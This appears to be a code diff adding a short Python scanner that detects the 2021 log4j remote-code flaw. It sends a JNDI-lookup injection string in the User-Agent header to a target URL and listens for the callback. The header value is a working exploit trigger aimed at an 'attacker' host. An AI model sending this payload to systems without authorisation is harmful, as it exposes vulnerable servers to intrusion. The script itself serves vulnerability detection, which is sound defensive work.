|
|
@@ -0,0 +1,88 @@ |
|
|
#! /usr/bin/env python3 |
|
|
|
|
|
''' |
|
|
Needs Requests (pip3 install requests) |
|
|
|
|
|
Author: Marcello Salvati, Twitter: @byt3bl33d3r |
|
|
License: DWTFUWANTWTL (Do What Ever the Fuck You Want With This License) |
|
|
|
|
|
|
|
|
This should allow you to detect if something is potentially exploitable to the log4j 0day dropped on December 9th 2021. |
|
|
|
|
|
WARNING: This script is extremely naive in a lot of ways cause it was put together in 15 min. See comments below. |
|
|
|
|
|
References: |
|
|
- https://www.lunasec.io/docs/blog/log4j-zero-day/ |
|
|
- https://github.com/tangxiaofeng7/apache-log4j-poc |
|
|
- https://github.com/apache/logging-log4j2/pull/608 |
|
|
''' |
|
|
|
|
|
import logging |
|
|
import requests |
|
|
import socket |
|
|
import argparse |
|
|
import threading |
|
|
import time |
|
|
|
|
|
handler = logging.StreamHandler() |
|
|
handler.setFormatter( |
|
|
logging.Formatter( |
|
|
style="{", |
|
|
fmt="[{name}:{filename}] {levelname} - {message}" |
|
|
) |
|
|
) |
|
|
|
|
|
log = logging.getLogger("log4jscanner") |
|
|
log.setLevel(logging.DEBUG) |
|
|
log.addHandler(handler) |
|
|
|
|
|
def tcp_server(attacker_host): |
|
|
_, PORT = attacker_host.split(':') |
|
|
HOST = '' |
|
|
PORT = int(PORT) |
|
|
|
|
|
log.debug(f"Starting server on 0.0.0.0:{PORT}") |
|
|
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: |
|
|
s.bind((HOST, PORT)) |
|
|
s.listen() |
|
|
conn, addr = s.accept() |
|
|
with conn: |
|
|
log.debug(f"Connected by {addr}. If this is the same host you attacked its most likely vulnerable") |
|
|
while True: |
|
|
data = conn.recv(1024) |
|
|
if not data: break |
|
|
print(data.hex()) |
|
|
|
|
|
def main(): |
|
|
parser = argparse.ArgumentParser() |
|
|
parser.add_argument('url', help='target http url') |
|
|
parser.add_argument('--attacker-host', type=str, dest='attacker_host', default='127.0.0.1:1389', help="attacker's host:port ") |
|
|
parser.add_argument('--timeout', type=int, dest='timeout', default=10, help='timeout to start listening') |
|
|
|
|
|
args = parser.parse_args() |
|
|
|
|
|
server_thread = threading.Thread(target=tcp_server, args=(args.attacker_host,)) |
|
|
server_thread.setDaemon(True) |
|
|
server_thread.start() |
|
|
|
|
|
time.sleep(2) |
|
|
|
|
|
try: |
|
|
""" |
|
|
Due of the nature of the exploit, any HTTP field could be used to exploit a vulnerable machine (as long as it's being logged on the affected host) |
|
|
Here we're just injecting the string in the User-Agent field. |
|
|
""" |
|
|
|
|
|
requests.get( |
|
|
args.url, |
|
|
headers={'User-Agent': f'${{jndi:ldap://{args.attacker_host}/exploit.class}}'}, |
|
|
verify=False |
|
|
) |
|
|
except requests.exceptions.ConnectionError as e: |
|
|
log.error(f"HTTP connection to target URL error: {e}") |
|
|
|
|
|
log.debug(f"Waiting {args.timeout} seconds for a response") |
|
|
time.sleep(args.timeout) |
|
|
|
|
|
if __name__ == "__main__": |
|
|
main() |